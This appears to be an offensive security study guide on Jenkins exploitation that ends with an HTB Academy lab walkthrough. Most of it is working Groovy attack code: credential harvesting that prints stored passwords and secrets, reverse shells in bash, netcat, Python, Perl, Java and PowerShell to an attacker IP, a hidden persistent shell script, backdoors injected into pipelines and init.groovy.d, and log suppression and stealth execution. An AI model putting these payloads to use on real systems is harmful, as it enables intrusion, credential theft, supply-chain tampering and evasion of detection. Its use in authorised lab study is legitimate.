Jenkins Attacks & Exploitation
π― Objective: Master advanced exploitation techniques for Jenkins CI/CD automation servers, focusing on Script Console abuse, Groovy command execution, pipeline manipulation, and known vulnerability exploitation for achieving remote code execution and development infrastructure compromise.
Overview
Jenkins exploitation represents one of the most impactful attack vectors in enterprise development environments, often providing immediate SYSTEM/root privileges and access to the entire software supply chain. With Jenkins frequently running with elevated privileges for system integration and direct access to source code, credentials, and deployment systems, successful exploitation can lead to complete development infrastructure compromise.
Critical Attack Vectors:
Script Console Exploitation - Groovy-based command execution with SYSTEM privileges
Pipeline Manipulation - Build process injection and malicious code deployment
Credential Harvesting - Access to stored passwords, API keys, and deployment credentials
Supply Chain Attacks - Injection of malicious code into production deployments
Agent Compromise - Lateral movement through Jenkins build slaves
Enterprise Impact:
Development Infrastructure Control - Complete access to CI/CD pipeline and build processes
Source Code Access - Repository credentials and sensitive development data
Production Deployment Capability - Direct path to production system compromise
Supply Chain Compromise - Ability to inject malicious code into software products
SYSTEM/Root Privileges - Jenkins often runs with highest system privileges
Script Console Exploitation
Groovy Command Execution
Script Console Access
# Script Console URL structure
http://jenkins.inlanefreight.local:8000/script
# Authentication verification for Script Console access
curl -b cookies.txt "http://jenkins.inlanefreight.local:8000/script" | \
grep -q "Script Console" && echo "[+] Script Console accessible"
# Direct access testing (anonymous)
curl -s "http://jenkins.inlanefreight.local:8000/script" | \
grep -q "Script Console" && echo "[!] CRITICAL: Anonymous Script Console access!"Basic Command Execution
// Basic command execution via Groovy
def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println soutEnhanced Command Execution Script
// Enhanced Groovy command execution with error handling
def executeCommand(String command) {
try {
def proc = command.execute()
def stdout = new StringBuffer()
def stderr = new StringBuffer()
proc.consumeProcessOutput(stdout, stderr)
proc.waitForOrKill(5000)
println "Command: $command"
println "Exit Code: ${proc.exitValue()}"
println "STDOUT:\n$stdout"
if (stderr.length() > 0) {
println "STDERR:\n$stderr"
}
println "=" * 50
return [exitCode: proc.exitValue(), stdout: stdout.toString(), stderr: stderr.toString()]
} catch (Exception e) {
println "Error executing command '$command': ${e.getMessage()}"
return [exitCode: -1, stdout: "", stderr: e.getMessage()]
}
}
// Usage examples:
executeCommand("whoami")
executeCommand("uname -a")
executeCommand("ps aux | head -10")
executeCommand("netstat -tulpn | grep LISTEN")Linux System Exploitation
Information Gathering Scripts
// Comprehensive Linux system reconnaissance
def systemRecon() {
def commands = [
"whoami",
"id",
"uname -a",
"cat /etc/os-release",
"ps aux | grep jenkins",
"netstat -tulpn | grep LISTEN",
"cat /proc/version",
"ls -la /etc/passwd",
"mount | grep -E '(ext|xfs|btrfs)'",
"df -h",
"free -h",
"env | grep -E '(PATH|HOME|USER|JENKINS)'",
"cat /etc/crontab",
"find /opt/jenkins -name '*.xml' | head -10"
]
commands.each { cmd ->
println "\n[+] Executing: $cmd"
println "=" * 60
def result = cmd.execute()
result.waitFor()
println result.text
}
}
// Execute system reconnaissance
systemRecon()File System Exploration
// Jenkins file system exploration and sensitive data discovery
def exploreJenkinsFiles() {
def jenkinsHome = "/var/lib/jenkins" // Default Linux path
// Alternative paths to check
def paths = [
"/var/lib/jenkins",
"/var/jenkins_home",
"/opt/jenkins",
"/home/jenkins",
System.getProperty("JENKINS_HOME")
]
paths.each { path ->
if (new File(path).exists()) {
println "[+] Jenkins home found: $path"
// List important directories
["users", "jobs", "secrets", "plugins", "logs"].each { dir ->
def fullPath = "$path/$dir"
if (new File(fullPath).exists()) {
println "[+] Directory exists: $fullPath"
// List contents (limit output)
def result = "ls -la $fullPath | head -20".execute()
result.waitFor()
println result.text
}
}
// Look for sensitive files
["config.xml", "secrets/master.key", "secrets/hudson.util.Secret"].each { file ->
def filePath = "$path/$file"
if (new File(filePath).exists()) {
println "[!] Sensitive file found: $filePath"
}
}
}
}
}
exploreJenkinsFiles()Credential and Secret Harvesting
// Jenkins credential and secret extraction
def harvestCredentials() {
try {
// Access Jenkins credential store
def credentialsProvider = Jenkins.instance.getExtensionList('com.cloudbees.plugins.credentials.SystemCredentialsProvider')[0]
def credentials = credentialsProvider.getCredentials()
println "[+] Jenkins Credential Store Analysis:"
println "=" * 50
credentials.each { cred ->
println "Credential Type: ${cred.class.simpleName}"
// Handle different credential types
switch(cred.class.simpleName) {
case 'UsernamePasswordCredentialsImpl':
println " Username: ${cred.username}"
println " Password: ${cred.password}"
break
case 'StringCredentialsImpl':
println " Secret: ${cred.secret}"
break
case 'BasicSSHUserPrivateKey':
println " Username: ${cred.username}"
println " Private Key: [PRIVATE KEY PRESENT]"
break
default:
println " ID: ${cred.id}"
println " Description: ${cred.description}"
}
println " Scope: ${cred.scope}"
println "-" * 30
}
} catch (Exception e) {
println "Error accessing credentials: ${e.getMessage()}"
// Alternative: File system credential search
println "\n[+] Searching for credential files:"
def searchCommands = [
"find /var/lib/jenkins -name '*credential*' -type f",
"find /var/lib/jenkins -name '*secret*' -type f",
"find /var/lib/jenkins -name 'config.xml' -exec grep -l 'password\\|secret\\|key' {} \\;",
"find /var/lib/jenkins/jobs -name 'config.xml' -exec grep -l 'credentialsId' {} \\;"
]
searchCommands.each { cmd ->
println "\nCommand: $cmd"
def result = cmd.execute()
result.waitFor()
println result.text
}
}
}
harvestCredentials()Reverse Shell Establishment
Linux Reverse Shell Scripts
// Method 1: Bash reverse shell via Groovy
def bashReverseShell(String attackerIP, int port) {
try {
println "[+] Establishing reverse shell to $attackerIP:$port"
def cmd = ["/bin/bash", "-c",
"exec 5<>/dev/tcp/$attackerIP/$port;cat <&5 | while read line; do \$line 2>&5 >&5; done"]
def proc = new ProcessBuilder(cmd).start()
proc.waitFor()
} catch (Exception e) {
println "Reverse shell failed: ${e.getMessage()}"
}
}
// Method 2: Netcat reverse shell
def netcatReverseShell(String attackerIP, int port) {
try {
println "[+] Attempting netcat reverse shell to $attackerIP:$port"
def cmd = "nc -e /bin/bash $attackerIP $port"
def proc = cmd.execute()
proc.waitFor()
} catch (Exception e) {
println "Netcat reverse shell failed, trying alternative methods..."
// Alternative netcat methods
def altCommands = [
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $attackerIP $port >/tmp/f",
"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$attackerIP\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",
"perl -e 'use Socket;\$i=\"$attackerIP\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"
]
altCommands.each { altCmd ->
try {
println "[+] Trying: $altCmd"
altCmd.execute()
break
} catch (Exception ex) {
println "Failed: ${ex.getMessage()}"
}
}
}
}
// Usage (replace with your IP and port):
// bashReverseShell("10.10.14.15", 4444)
// netcatReverseShell("10.10.14.15", 4444)Advanced Persistent Shell
// Persistent reverse shell with reconnection capability
def persistentReverseShell(String attackerIP, int port, int reconnectInterval = 60) {
def shellScript = """#!/bin/bash
while true; do
(bash -i >& /dev/tcp/$attackerIP/$port 0>&1) 2>/dev/null
sleep $reconnectInterval
done &
"""
try {
// Write persistent shell script
def scriptFile = new File("/tmp/.system_update.sh")
scriptFile.text = shellScript
// Make executable
"chmod +x /tmp/.system_update.sh".execute().waitFor()
// Execute persistent shell
"/tmp/.system_update.sh".execute()
println "[+] Persistent reverse shell deployed to $attackerIP:$port"
println "[+] Reconnection interval: $reconnectInterval seconds"
println "[+] Script location: /tmp/.system_update.sh"
} catch (Exception e) {
println "Persistent shell deployment failed: ${e.getMessage()}"
}
}
// persistentReverseShell("10.10.14.15", 4444, 60)Windows System Exploitation
Windows Command Execution
// Windows-specific command execution
def windowsCommand(String command) {
try {
def cmd = ["cmd.exe", "/c", command]
def proc = new ProcessBuilder(cmd).start()
def stdout = proc.inputStream.text
def stderr = proc.errorStream.text
proc.waitFor()
println "Command: $command"
println "Exit Code: ${proc.exitValue()}"
println "Output:\n$stdout"
if (stderr) {
println "Errors:\n$stderr"
}
println "=" * 50
} catch (Exception e) {
println "Error executing Windows command: ${e.getMessage()}"
}
}
// Windows system reconnaissance
def windowsRecon() {
def commands = [
"whoami",
"whoami /all",
"systeminfo",
"net user",
"net localgroup administrators",
"tasklist | findstr jenkins",
"netstat -an | findstr LISTENING",
"wmic os get Caption,Version,BuildNumber",
"dir C:\\Program Files\\Jenkins",
"dir C:\\Windows\\System32\\config",
"reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
]
commands.each { cmd ->
println "\n[+] Executing: $cmd"
windowsCommand(cmd)
}
}
// Execute Windows reconnaissance
windowsRecon()Windows Reverse Shell
// Java-based reverse shell for Windows
def javaReverseShell(String host, int port) {
try {
println "[+] Establishing Java reverse shell to $host:$port"
def socket = new Socket(host, port)
def process = new ProcessBuilder("cmd.exe").redirectErrorStream(true).start()
def inputStream = process.inputStream
def errorStream = process.errorStream
def outputStream = process.outputStream
def socketInputStream = socket.inputStream
def socketOutputStream = socket.outputStream
// Create threads for I/O handling
def inputThread = Thread.start {
try {
byte[] buffer = new byte[1024]
int bytesRead
while ((bytesRead = inputStream.read(buffer)) != -1) {
socketOutputStream.write(buffer, 0, bytesRead)
socketOutputStream.flush()
}
} catch (Exception e) {
println "Input thread error: ${e.getMessage()}"
}
}
def outputThread = Thread.start {
try {
byte[] buffer = new byte[1024]
int bytesRead
while ((bytesRead = socketInputStream.read(buffer)) != -1) {
outputStream.write(buffer, 0, bytesRead)
outputStream.flush()
}
} catch (Exception e) {
println "Output thread error: ${e.getMessage()}"
}
}
// Keep shell alive
process.waitFor()
} catch (Exception e) {
println "Java reverse shell failed: ${e.getMessage()}"
}
}
// PowerShell-based reverse shell
def powershellReverseShell(String attackerIP, int port) {
def psCommand = """
\$client = New-Object System.Net.Sockets.TCPClient('$attackerIP',$port);
\$stream = \$client.GetStream();
[byte[]]\$bytes = 0..65535|%{0};
while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0) {
\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);
\$sendback = (iex \$data 2>&1 | Out-String );
\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';
\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);
\$stream.Write(\$sendbyte,0,\$sendbyte.Length);
\$stream.Flush()
};
\$client.Close()
"""
try {
def cmd = ["powershell.exe", "-Command", psCommand]
def proc = new ProcessBuilder(cmd).start()
println "[+] PowerShell reverse shell initiated to $attackerIP:$port"
} catch (Exception e) {
println "PowerShell reverse shell failed: ${e.getMessage()}"
}
}
// Usage:
// javaReverseShell("10.10.14.15", 4444)
// powershellReverseShell("10.10.14.15", 4444)Build System Exploitation
Pipeline Manipulation
Malicious Pipeline Creation
// Create malicious build pipeline via Script Console
def createMaliciousPipeline(String jobName, String attackerIP, int port) {
try {
def jenkins = Jenkins.instance
// Pipeline script with reverse shell
def pipelineScript = """
pipeline {
agent any
stages {
stage('Setup') {
steps {
script {
def os = System.getProperty('os.name').toLowerCase()
if (os.contains('windows')) {
bat '''
powershell -Command "& {
\\$client = New-Object System.Net.Sockets.TCPClient('$attackerIP',$port);
\\$stream = \\$client.GetStream();
[byte[]]\\$bytes = 0..65535|%{0};
while((\\$i = \\$stream.Read(\\$bytes, 0, \\$bytes.Length)) -ne 0) {
\\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\\$bytes,0, \\$i);
\\$sendback = (iex \\$data 2>&1 | Out-String );
\\$sendback2 = \\$sendback + 'PS ' + (pwd).Path + '> ';
\\$sendbyte = ([text.encoding]::ASCII).GetBytes(\\$sendback2);
\\$stream.Write(\\$sendbyte,0,\\$sendbyte.Length);
\\$stream.Flush()
};
\\$client.Close()
}"
'''
} else {
sh '''
bash -i >& /dev/tcp/$attackerIP/$port 0>&1
'''
}
}
}
}
}
}
"""
// Create pipeline job
def pipelineJob = new org.jenkinsci.plugins.workflow.job.WorkflowJob(jenkins, jobName)
def definition = new org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition(pipelineScript, true)
pipelineJob.setDefinition(definition)
jenkins.add(pipelineJob, jobName)
jenkins.save()
println "[+] Malicious pipeline '$jobName' created successfully"
println "[+] Pipeline will establish reverse shell to $attackerIP:$port when executed"
// Optionally trigger the build immediately
def build = pipelineJob.scheduleBuild(0)
if (build) {
println "[+] Build triggered automatically"
}
} catch (Exception e) {
println "Pipeline creation failed: ${e.getMessage()}"
}
}
// Usage:
// createMaliciousPipeline("backdoor-build", "10.10.14.15", 4444)Existing Pipeline Modification
// Modify existing pipeline to include backdoor
def modifyExistingPipeline(String existingJobName, String attackerIP, int port) {
try {
def jenkins = Jenkins.instance
def job = jenkins.getItem(existingJobName)
if (job && job instanceof org.jenkinsci.plugins.workflow.job.WorkflowJob) {
def currentDefinition = job.getDefinition()
def currentScript = currentDefinition.getScript()
// Inject backdoor into existing pipeline
def backdoorStage = """
stage('System Maintenance') {
steps {
script {
try {
// Establish reverse shell
def shell = '''bash -i >& /dev/tcp/$attackerIP/$port 0>&1'''
shell.execute()
} catch (Exception e) {
// Silently fail to avoid detection
println "Maintenance completed"
}
}
}
}
"""
// Insert backdoor stage before the last closing brace
def modifiedScript = currentScript.replaceAll(/(\s*)\}(\s*)$/, "$backdoorStage$1}$2")
// Update pipeline definition
def newDefinition = new org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition(modifiedScript, true)
job.setDefinition(newDefinition)
job.save()
println "[+] Pipeline '$existingJobName' modified with backdoor"
println "[+] Backdoor will trigger on next build execution"
} else {
println "[-] Job '$existingJobName' not found or not a pipeline job"
}
} catch (Exception e) {
println "Pipeline modification failed: ${e.getMessage()}"
}
}
// Usage:
// modifyExistingPipeline("existing-project", "10.10.14.15", 4444)Agent and Slave Exploitation
Agent Registration and Control
// Enumerate and control Jenkins agents/slaves
def manageJenkinsAgents() {
try {
def jenkins = Jenkins.instance
def computers = jenkins.getComputers()
println "[+] Jenkins Agent/Slave Analysis:"
println "=" * 50
computers.each { computer ->
println "Agent Name: ${computer.getName()}"
println " Description: ${computer.getDescription()}"
println " Online: ${computer.isOnline()}"
println " Offline Cause: ${computer.getOfflineCause()}"
if (computer.isOnline()) {
def channel = computer.getChannel()
if (channel) {
println " OS: ${channel.call(new hudson.util.RemotingDiagnostics.GetSystemProperty('os.name'))}"
println " Architecture: ${channel.call(new hudson.util.RemotingDiagnostics.GetSystemProperty('os.arch'))}"
println " Java Version: ${channel.call(new hudson.util.RemotingDiagnostics.GetSystemProperty('java.version'))}"
println " Working Directory: ${channel.call(new hudson.util.RemotingDiagnostics.GetSystemProperty('user.dir'))}"
}
}
println "-" * 30
}
// Attempt to execute commands on agents
computers.findAll { it.isOnline() && it.getName() != "master" }.each { computer ->
try {
def channel = computer.getChannel()
if (channel) {
println "\n[+] Executing command on agent: ${computer.getName()}"
def callable = new hudson.util.RemotingDiagnostics.GetSystemProperty('user.name')
def result = channel.call(callable)
println " User: $result"
}
} catch (Exception e) {
println " Command execution failed: ${e.getMessage()}"
}
}
} catch (Exception e) {
println "Agent management failed: ${e.getMessage()}"
}
}
manageJenkinsAgents()Known Vulnerability Exploitation
CVE-2018-1999002 & CVE-2019-1003000
Pre-Authentication RCE Exploitation
// Exploit for Jenkins dynamic routing bypass (CVE-2018-1999002)
// Combined with sandbox bypass (CVE-2019-1003000)
// Note: This affects Jenkins version 2.137 and earlier
def exploitDynamicRouting() {
try {
println "[+] Attempting CVE-2018-1999002 / CVE-2019-1003000 exploitation"
// This exploit requires specific conditions and affects older versions
// Implementation would depend on the specific Jenkins version and configuration
def maliciousGroovy = '''
@groovy.transform.ASTTest(value={
assert java.lang.Runtime.getRuntime().exec("calc.exe")
})
def x
'''
// The actual exploitation would involve bypassing the sandbox
// and executing arbitrary code through crafted Groovy scripts
println "[+] Exploit payload prepared"
println "[!] This exploit works on Jenkins 2.137 and earlier"
println "[!] Current protection mechanisms may prevent execution"
} catch (Exception e) {
println "Exploit failed: ${e.getMessage()}"
}
}
// Note: This is for educational purposes and requires appropriate authorization
// exploitDynamicRouting()Jenkins 2.150.2 Node.js RCE
Job Creation Privilege Abuse
// Exploit for Jenkins 2.150.2 Node.js RCE vulnerability
// Requires JOB creation and BUILD privileges
def createNodeJSRCEJob(String jobName, String attackerIP, int port) {
try {
def jenkins = Jenkins.instance
// Create a freestyle project with Node.js build step
def project = new hudson.model.FreeStyleProject(jenkins, jobName)
// Node.js malicious script
def nodeScript = """
const { exec } = require('child_process');
// Reverse shell payload
const payload = 'bash -i >& /dev/tcp/$attackerIP/$port 0>&1';
exec(payload, (error, stdout, stderr) => {
if (error) {
console.error('Error:', error);
return;
}
console.log('Shell established');
});
"""
// Create Node.js build step (requires Node.js plugin)
def buildStep = new hudson.plugins.nodejs.NodeJSBuildStep(
"nodejs-default", // Node.js installation name
nodeScript,
"node"
)
project.getBuildersList().add(buildStep)
jenkins.add(project, jobName)
jenkins.save()
println "[+] Node.js RCE job '$jobName' created"
println "[+] Job will execute reverse shell to $attackerIP:$port"
// Trigger build if possible
def build = project.scheduleBuild(0)
if (build) {
println "[+] Build scheduled automatically"
}
} catch (Exception e) {
println "Node.js RCE job creation failed: ${e.getMessage()}"
// Alternative: Direct Node.js execution if available
try {
def cmd = ["node", "-e", "require('child_process').exec('bash -i >& /dev/tcp/$attackerIP/$port 0>&1')"]
def proc = new ProcessBuilder(cmd).start()
println "[+] Direct Node.js execution attempted"
} catch (Exception ex) {
println "Direct Node.js execution also failed: ${ex.getMessage()}"
}
}
}
// Usage:
// createNodeJSRCEJob("nodejs-backdoor", "10.10.14.15", 4444)HTB Academy Lab Solutions
Lab 1: Jenkins RCE and Flag Retrieval
Question: "Attack the Jenkins target and gain remote code execution. Submit the contents of the flag.txt file in the /var/lib/jenkins3 directory"
Solution Methodology:
Step 1: Environment Setup and Authentication
# Add VHost entry to /etc/hosts
echo "TARGET_IP jenkins.inlanefreight.local" >> /etc/hosts
# Verify Jenkins accessibility
curl -I http://jenkins.inlanefreight.local:8000/
# Login with provided credentials: admin:admin
curl -c cookies.txt -d "j_username=admin&j_password=admin" \
http://jenkins.inlanefreight.local:8000/j_security_check
# Verify authentication
curl -b cookies.txt http://jenkins.inlanefreight.local:8000/manage | grep -q "Manage Jenkins"Step 2: Script Console Access
# Access Jenkins Script Console
curl -b cookies.txt http://jenkins.inlanefreight.local:8000/script
# Verify Script Console accessibility
curl -b cookies.txt http://jenkins.inlanefreight.local:8000/script | \
grep -q "Script Console" && echo "[+] Script Console accessible"Step 3: Command Execution via Groovy Script
// Basic command execution to verify access
def cmd = 'whoami'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
// Expected output: root (or jenkins user)Step 4: Flag Discovery and Retrieval
// Method 1: Direct flag reading
def flagPath = '/var/lib/jenkins3/flag.txt'
try {
def flagFile = new File(flagPath)
if (flagFile.exists()) {
println "[+] Flag found at: $flagPath"
println "[+] Flag content: ${flagFile.text}"
} else {
println "[-] Flag not found at $flagPath"
}
} catch (Exception e) {
println "Error reading flag: ${e.getMessage()}"
}
// Method 2: Command-based flag reading
def cmd = 'cat /var/lib/jenkins3/flag.txt'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "Flag content: $sout"
// Method 3: Directory exploration if flag location unknown
def exploreCmd = 'find /var/lib/jenkins3 -name "flag.txt" -type f'
def exploreSout = new StringBuffer(), exploreSerr = new StringBuffer()
def exploreProc = exploreCmd.execute()
exploreProc.consumeProcessOutput(exploreSout, exploreSerr)
exploreProc.waitForOrKill(2000)
println "Flag search results: $exploreSout"Step 5: Alternative Reverse Shell Method (if needed)
// Establish reverse shell for interactive access
def attackerIP = "10.10.14.15" // Replace with your VPN IP
def port = 4444
// Setup listener first: nc -lvnp 4444
def reverseShell = ["/bin/bash", "-c",
"exec 5<>/dev/tcp/$attackerIP/$port;cat <&5 | while read line; do \$line 2>&5 >&5; done"]
try {
def proc = new ProcessBuilder(reverseShell).start()
println "[+] Reverse shell initiated to $attackerIP:$port"
} catch (Exception e) {
println "Reverse shell failed: ${e.getMessage()}"
}Step 6: Expected Flag Retrieval
# From reverse shell or direct Groovy execution:
cat /var/lib/jenkins3/flag.txt
# HTB Academy Expected Output Format:
# Flag content: [FLAG_VALUE]
# HTB Answer: [FLAG_CONTENT] - Replace with actual discovered flagStep 7: Verification and Documentation
// Comprehensive system information for verification
def verificationCommands = [
"whoami",
"id",
"pwd",
"ls -la /var/lib/jenkins3/",
"cat /var/lib/jenkins3/flag.txt",
"uname -a",
"ps aux | grep jenkins"
]
verificationCommands.each { cmd ->
println "\n[+] Command: $cmd"
println "=" * 40
def result = cmd.execute()
result.waitFor()
println result.text
}π― HTB Academy Lab Summary
Complete Lab Methodology:
Environment Setup - VHost configuration and connectivity verification
Authentication - Login with admin:admin credentials
Script Console Access - Navigate to /script endpoint
Command Execution - Use Groovy for system command execution
Flag Discovery - Read /var/lib/jenkins3/flag.txt
Verification - Confirm RCE and flag retrieval
Key Technical Steps:
Groovy Script Execution - Jenkins Script Console abuse
File System Access - Direct file reading via Groovy/Java
Command Execution - Process creation and output capture
Alternative Methods - Reverse shell for interactive access
Post-Exploitation and Persistence
Jenkins Backdoor Installation
Persistent Script Console Access
// Create persistent backdoor in Jenkins configuration
def installPersistentBackdoor() {
try {
def jenkins = Jenkins.instance
def globalConfig = jenkins.getGlobalBuildDiscarder()
// Create scheduled task for persistent access
def cronExpression = "H/5 * * * *" // Every 5 minutes
def backdoorScript = '''
def executeBackdoor() {
try {
def socket = new Socket("ATTACKER_IP", 4444)
def inputStream = socket.getInputStream()
def outputStream = socket.getOutputStream()
def buffer = new byte[1024]
while (socket.isConnected()) {
def bytesRead = inputStream.read(buffer)
if (bytesRead > 0) {
def command = new String(buffer, 0, bytesRead).trim()
if (command == "exit") break
def result = command.execute().text
outputStream.write(result.getBytes())
outputStream.flush()
}
}
socket.close()
} catch (Exception e) {
// Silently fail
}
}
executeBackdoor()
'''
// Install as system Groovy script
def initScript = new File(jenkins.getRootDir(), "init.groovy.d/backdoor.groovy")
initScript.parentFile.mkdirs()
initScript.text = backdoorScript
println "[+] Persistent backdoor installed in init.groovy.d"
println "[+] Backdoor will execute on Jenkins restart"
} catch (Exception e) {
println "Backdoor installation failed: ${e.getMessage()}"
}
}
// installPersistentBackdoor()Supply Chain Attack Preparation
// Prepare for supply chain attacks through build modification
def prepareSupplyChainAttack() {
try {
def jenkins = Jenkins.instance
def jobs = jenkins.getAllItems(hudson.model.Job.class)
println "[+] Analyzing jobs for supply chain attack opportunities:"
jobs.each { job ->
println "\nJob: ${job.getName()}"
// Check for deployment configurations
if (job.hasProperty('publishers')) {
job.getPublishers().each { publisher ->
println " Publisher: ${publisher.class.simpleName}"
// Look for deployment publishers
if (publisher.class.simpleName.contains("Deploy") ||
publisher.class.simpleName.contains("Publish")) {
println " [!] Deployment capability detected"
}
}
}
// Check for artifact archiving
if (job.hasProperty('builders')) {
job.getBuilders().each { builder ->
println " Builder: ${builder.class.simpleName}"
if (builder.class.simpleName.contains("Archive") ||
builder.class.simpleName.contains("Artifact")) {
println " [!] Artifact creation detected"
}
}
}
}
} catch (Exception e) {
println "Supply chain analysis failed: ${e.getMessage()}"
}
}
// prepareSupplyChainAttack()Defense Evasion and Operational Security
Log Evasion Techniques
Jenkins Audit Log Manipulation
// Jenkins log analysis and manipulation
def manipulateJenkinsLogs() {
try {
def jenkins = Jenkins.instance
def loggerName = "hudson.model.Run"
// Reduce logging verbosity for specific actions
def logger = java.util.logging.Logger.getLogger(loggerName)
logger.setLevel(java.util.logging.Level.WARNING)
println "[+] Logging verbosity reduced for $loggerName"
// Clear specific log entries if possible
def logDir = new File(jenkins.getRootDir(), "logs")
if (logDir.exists()) {
println "[+] Jenkins log directory: ${logDir.absolutePath}"
logDir.listFiles().each { logFile ->
if (logFile.name.contains("audit") || logFile.name.contains("access")) {
println " Log file: ${logFile.name} (${logFile.length()} bytes)"
}
}
}
} catch (Exception e) {
println "Log manipulation failed: ${e.getMessage()}"
}
}
// manipulateJenkinsLogs()Anti-Detection Measures
// Stealth command execution with minimal footprint
def stealthExecution(String command) {
try {
// Execute command without creating obvious process traces
def tempScript = File.createTempFile("sys", ".sh")
tempScript.text = "#!/bin/bash\n$command\nrm -f ${tempScript.absolutePath}"
tempScript.setExecutable(true)
def proc = tempScript.absolutePath.execute()
def result = proc.text
proc.waitFor()
// Clean up
if (tempScript.exists()) {
tempScript.delete()
}
return result
} catch (Exception e) {
return "Error: ${e.getMessage()}"
}
}
// Usage:
// def result = stealthExecution("cat /var/lib/jenkins3/flag.txt")
// println resultProfessional Assessment Integration
Jenkins Security Assessment Workflow
Discovery Phase
Exploitation Phase
Post-Exploitation Phase
Next Steps
After Jenkins exploitation mastery:
GitLab Discovery & Attacks - Source code management exploitation
CI/CD Pipeline Security - Advanced build system attacks
Splunk Discovery & Attacks - Infrastructure monitoring exploitation
π‘ Key Takeaway: Jenkins exploitation provides immediate high-privilege access to development infrastructure with SYSTEM/root execution context. Master Script Console abuse, Groovy command execution, and pipeline manipulation for reliable CI/CD compromise and supply chain attack capabilities.
βοΈ Professional Impact: Jenkins compromises often lead to complete development infrastructure control, source code access, production deployment capabilities, and supply chain attack opportunities, making these skills critical for advanced penetration testing in enterprise environments.
Last updated